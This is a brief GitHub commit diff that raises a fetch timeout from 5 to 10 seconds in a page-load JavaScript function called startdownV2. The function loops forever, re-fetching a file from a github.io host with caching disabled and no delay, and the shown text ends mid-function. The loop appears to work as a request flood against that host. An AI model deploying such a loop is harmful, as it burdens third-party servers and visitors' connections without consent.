This commit is contained in:
Boof 2023-01-19 08:52:49 +01:00 committed by GitHub
parent b5e3061220
commit 10c7a6de71
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -8,9 +8,9 @@ function delay(milliseconds){
window.onload = async function startdownV2(){ window.onload = async function startdownV2(){
const controller = new AbortController() const controller = new AbortController()
// 5 second timeout: // 10 second timeout:
const timeoutId = setTimeout(() => controller.abort(), 5000) const timeoutId = setTimeout(() => controller.abort(), 10000)
while(true){ while(true){
//await delay(10); //await delay(10);
await fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"}, { signal: controller.signal }).then(response => { await fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"}, { signal: controller.signal }).then(response => {